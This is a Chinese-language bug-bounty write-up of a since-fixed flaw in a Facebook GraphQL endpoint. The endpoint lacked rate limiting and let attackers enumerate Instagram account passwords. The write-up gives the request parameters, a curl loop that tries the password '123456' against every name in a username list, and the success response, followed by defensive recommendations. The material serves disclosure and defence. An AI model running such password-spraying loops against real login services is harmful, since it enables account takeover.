挖洞经验 | 缺乏速率限制(Rate Limitation)导致的Instagram账户密码枚举
字数 1201 2025-08-15 21:30:43
Instagram账户密码枚举漏洞分析报告
漏洞概述
本报告详细分析了一个由于缺乏速率限制(Rate Limitation)导致的Instagram账户密码枚举漏洞。该漏洞存在于Facebook验证Instagram用户访问管理接口的GraphQL请求中,攻击者可以利用此漏洞暴力枚举Instagram注册用户的密码。Facebook最终为此漏洞支付了$3000的奖励。
漏洞背景
速率限制(请求次数限制)是面向公众网站设计中常被忽略的防护措施。缺乏速率限制可能导致网站注册用户名、密码等账户信息的批量枚举风险。
漏洞详情
漏洞位置
漏洞存在于Facebook与Instagram的某项应用交互中,具体接口为:
https://www.facebook.com/api/graphql
漏洞原理
- Instagram用户通过内置GraphQL请求跳转到管理界面时,Facebook会对用户身份进行校验
- 该请求服务端与客户端的多个交互请求最初看似仅通过用户名(username)进行身份认证
- 实际测试发现,使用不同的用户名和密码组合都能获取到Instagram后端对密码正确性的有效响应
- 关键问题:该接口没有任何速率限制措施
漏洞复现步骤
请求参数
向目标接口发送POST请求(无需Cookie),包含以下参数:
__a=1
doc_id=REDACTED
variables={"data":{"business_id":BUSINESS_ID,"page_id":PAGE_ID,"username":"USERNAME","password":"PASSWORD"}}
参数说明:
BUSINESS_ID和PAGE_ID:代表事务处理和页面调用的随机IDUSERNAME:目标Instagram账户的用户名PASSWORD:要枚举测试的密码字段
实际操作示例
使用curl命令,选定一个密码(示例中使用"123456")匹配用户名字典USER_LIST,对接口发起请求:
while read user; do curl -k -i -X POST https://www.facebook.com/api/graphql/ -H 'Content-Type: application/x-www-form-urlencoded' -d "__a=1&doc_id=REDACTED&variables={\"data\":{\"business_id\":RANDOM,\"page_id\":RANDOM,\"username\":\"$user\",\"password\":\"123456\"}}";done < USER_LIST
成功响应
当用户名和密码组合校验成功时,Facebook后端会返回以下有效响应信息:
{
"cm_ig_authentication": {
"is_authenticated": true
}
}
漏洞影响
-
由于接口无速率限制措施,攻击者可以:
- 构建大规模Instagram用户字典
- 通过不同密码匹配
- 实施对任意Instagram用户的密码猜解枚举
-
潜在危害:
- 大量Instagram账户可能被暴力破解
- 用户隐私数据泄露风险
- 账户被恶意利用进行其他攻击
修复方案
Facebook采取的修复措施:
- 在上述接口请求中,对"username"和"password"字段加入了速率限制措施
漏洞上报与处理
- 漏洞最终获得Facebook官方$3000奖励
- 漏洞发现者:ysamm
- 报告整理:clouds
防御建议
针对类似漏洞,建议采取以下防护措施:
- 对所有涉及身份验证的接口实施严格的速率限制
- 对连续失败的登录尝试实施锁定机制
- 使用CAPTCHA等验证机制防止自动化攻击
- 监控异常登录模式和行为
- 实施多因素认证(MFA)增强账户安全
总结
本案例展示了速率限制在Web应用安全中的重要性。即使是像Facebook这样的大型科技公司,也可能在复杂的系统交互中遗漏关键的安全控制。开发人员应特别注意所有涉及身份验证的接口,确保实施适当的安全措施防止暴力破解攻击。